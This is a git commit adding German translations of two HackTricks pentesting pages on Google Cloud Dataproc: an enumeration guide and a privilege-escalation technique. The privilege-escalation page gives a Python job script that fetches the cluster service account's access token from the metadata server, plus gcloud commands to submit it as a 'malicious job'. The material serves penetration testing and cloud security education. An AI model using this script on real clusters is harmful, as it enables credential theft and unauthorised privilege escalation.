Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-01-26 21:46:21 +00:00
parent 4f69c1805c
commit ae0c94c272
2 changed files with 97 additions and 0 deletions

View File

@@ -0,0 +1,54 @@
# GCP Dataproc Privilege Escalation
{{#include ../../../banners/hacktricks-training.md}}
## Dataproc
{{#ref}}
../gcp-services/gcp-dataproc-enum.md
{{#endref}}
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
Ich konnte mit dieser Methode keine Reverse-Shell erhalten, jedoch ist es möglich, das SA-Token vom Metadaten-Endpunkt mit der unten beschriebenen Methode zu leaken.
#### Schritte zur Ausnutzung
- Platzieren Sie das Job-Skript im GCP-Bucket.
- Reichen Sie einen Job bei einem Dataproc-Cluster ein.
- Verwenden Sie den Job, um auf den Metadaten-Server zuzugreifen.
- Leaken Sie das Dienstkonto-Token, das vom Cluster verwendet wird.
```python
import requests
metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
headers = {"Metadata-Flavor": "Google"}
def fetch_metadata_token():
try:
response = requests.get(metadata_url, headers=headers, timeout=5)
response.raise_for_status()
token = response.json().get("access_token", "")
print(f"Leaked Token: {token}")
return token
except Exception as e:
print(f"Error fetching metadata token: {e}")
return None
if __name__ == "__main__":
fetch_metadata_token()
```
```bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>
# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,43 @@
# GCP - Dataproc Enum
{{#include ../../../banners/hacktricks-training.md}}
## Grundlegende Informationen
Google Cloud Dataproc ist ein vollständig verwalteter Dienst zum Ausführen von Apache Spark, Apache Hadoop, Apache Flink und anderen Big-Data-Frameworks. Es wird hauptsächlich für die Datenverarbeitung, Abfragen, maschinelles Lernen und Stream-Analytik verwendet. Dataproc ermöglicht es Organisationen, Cluster für verteiltes Rechnen einfach zu erstellen und nahtlos mit anderen Google Cloud Platform (GCP)-Diensten wie Cloud Storage, BigQuery und Cloud Monitoring zu integrieren.
Dataproc-Cluster laufen auf virtuellen Maschinen (VMs), und das Dienstkonto, das mit diesen VMs verbunden ist, bestimmt die Berechtigungen und den Zugriffslevel des Clusters.
## Komponenten
Ein Dataproc-Cluster umfasst typischerweise:
Master-Knoten: Verwaltet Clusterressourcen und koordiniert verteilte Aufgaben.
Worker-Knoten: Führen verteilte Aufgaben aus.
Dienstkonten: Bearbeiten API-Aufrufe und greifen auf andere GCP-Dienste zu.
## Enumeration
Dataproc-Cluster, Jobs und Konfigurationen können enumeriert werden, um sensible Informationen zu sammeln, wie z.B. Dienstkonten, Berechtigungen und potenzielle Fehlkonfigurationen.
### Cluster-Enumeration
Um Dataproc-Cluster zu enumerieren und deren Details abzurufen:
```
gcloud dataproc clusters list --region=<region>
gcloud dataproc clusters describe <cluster-name> --region=<region>
```
### Job Enumeration
```
gcloud dataproc jobs list --region=<region>
gcloud dataproc jobs describe <job-id> --region=<region>
```
### Privesc
{{#ref}}
../gcp-privilege-escalation/gcp-dataproc-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}